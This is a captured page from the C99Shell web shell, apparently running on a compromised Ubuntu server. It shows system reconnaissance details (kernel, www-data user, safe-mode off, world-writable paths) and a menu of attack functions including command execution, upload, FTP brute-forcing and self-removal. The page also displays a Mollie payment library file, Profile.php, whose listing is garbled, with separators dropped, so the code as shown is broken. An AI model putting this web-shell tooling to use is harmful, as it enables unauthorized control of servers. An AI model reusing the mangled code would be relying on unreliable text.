!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/dokan/script/vendor/mollie/mollie-api-php/src/Resources/   drwxrwxrwx
Free 13.03 GB of 57.97 GB (22.47%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Profile.php (5.3 KB)      -rwxrwxrwx
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Mollie\Api\Resources;

use 
Mollie\Api\Exceptions\ApiException;
use 
Mollie\Api\MollieApiClient;
use 
Mollie\Api\Types\ProfileStatus;

class 
Profile extends BaseResource
{
    
/**
     * @var string
     */
    
public $resource;

    
/**
     * @var string
     */
    
public $id;

    
/**
     * Test or live mode
     *
     * @var string
     */
    
public $mode;

    
/**
     * @var string
     */
    
public $name;

    
/**
     * @var string
     */
    
public $website;

    
/**
     * @var string
     */
    
public $email;

    
/**
     * @var string
     */
    
public $phone;

    
/**
     * See https://docs.mollie.com/reference/v2/profiles-api/get-profile
     *
     * @var int
     */
    
public $categoryCode;

    
/**
     * @var string
     */
    
public $status;

    
/**
     * @var \stdClass
     */
    
public $review;

    
/**
     * UTC datetime the profile was created in ISO-8601 format.
     *
     * @example "2013-12-25T10:30:54+00:00"
     * @var string
     */
    
public $createdAt;

    
/**
     * @var \stdClass
     */
    
public $_links;

    
/**
     * @return bool
     */
    
public function isUnverified()
    {
        return 
$this->status == ProfileStatus::STATUS_UNVERIFIED;
    }

    
/**
     * @return bool
     */
    
public function isVerified()
    {
        return 
$this->status == ProfileStatus::STATUS_VERIFIED;
    }

    
/**
     * @return bool
     */
    
public function isBlocked()
    {
        return 
$this->status == ProfileStatus::STATUS_BLOCKED;
    }

    
/**
     * @return Profile
     * @throws ApiException
     */
    
public function update()
    {
        if (! isset(
$this->_links->self->href)) {
            return 
$this;
        }

        
$body json_encode([
            
"name" => $this->name,
            
"website" => $this->website,
            
"email" => $this->email,
            
"phone" => $this->phone,
            
"categoryCode" => $this->categoryCode,
            
"mode" => $this->mode,
        ]);

        
$result $this->client->performHttpCallToFullUrl(MollieApiClient::HTTP_PATCH$this->_links->self->href$body);

        return 
ResourceFactory::createFromApiResult($result, new Profile($this->client));
    }

    
/**
     * Retrieves all chargebacks associated with this profile
     *
     * @return ChargebackCollection
     * @throws ApiException
     */
    
public function chargebacks()
    {
        if (! isset(
$this->_links->chargebacks->href)) {
            return new 
ChargebackCollection($this->client0null);
        }

        
$result $this->client->performHttpCallToFullUrl(MollieApiClient::HTTP_GET$this->_links->chargebacks->href);

        return 
ResourceFactory::createCursorResourceCollection(
            
$this->client,
            
$result->_embedded->chargebacks,
            
Chargeback::class,
            
$result->_links
        
);
    }

    
/**
     * Retrieves all methods activated on this profile
     *
     * @return MethodCollection
     * @throws ApiException
     */
    
public function methods()
    {
        if (! isset(
$this->_links->methods->href)) {
            return new 
MethodCollection(0null);
        }

        
$result $this->client->performHttpCallToFullUrl(MollieApiClient::HTTP_GET$this->_links->methods->href);

        return 
ResourceFactory::createCursorResourceCollection(
            
$this->client,
            
$result->_embedded->methods,
            
Method::class,
            
$result->_links
        
);
    }

    
/**
     * Enable a payment method for this profile.
     *
     * @param string $methodId
     * @param array $data
     * @return Method
     * @throws ApiException
     */
    
public function enableMethod($methodId, array $data = [])
    {
        return 
$this->client->profileMethods->createFor($this$methodId$data);
    }

    
/**
     * Disable a payment method for this profile.
     *
     * @param string $methodId
     * @param array $data
     * @return Method
     * @throws ApiException
     */
    
public function disableMethod($methodId, array $data = [])
    {
        return 
$this->client->profileMethods->deleteFor($this$methodId$data);
    }

    
/**
     * Retrieves all payments associated with this profile
     *
     * @return PaymentCollection
     * @throws ApiException
     */
    
public function payments()
    {
        if (! isset(
$this->_links->payments->href)) {
            return new 
PaymentCollection($this->client0null);
        }

        
$result $this->client->performHttpCallToFullUrl(MollieApiClient::HTTP_GET$this->_links->payments->href);

        return 
ResourceFactory::createCursorResourceCollection(
            
$this->client,
            
$result->_embedded->methods,
            
Method::class,
            
$result->_links
        
);
    }

    
/**
     * Retrieves all refunds associated with this profile
     *
     * @return RefundCollection
     * @throws ApiException
     */
    
public function refunds()
    {
        if (! isset(
$this->_links->refunds->href)) {
            return new 
RefundCollection($this->client0null);
        }

        
$result $this->client->performHttpCallToFullUrl(MollieApiClient::HTTP_GET$this->_links->refunds->href);

        return 
ResourceFactory::createCursorResourceCollection(
            
$this->client,
            
$result->_embedded->refunds,
            
Refund::class,
            
$result->_links
        
);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0053 ]--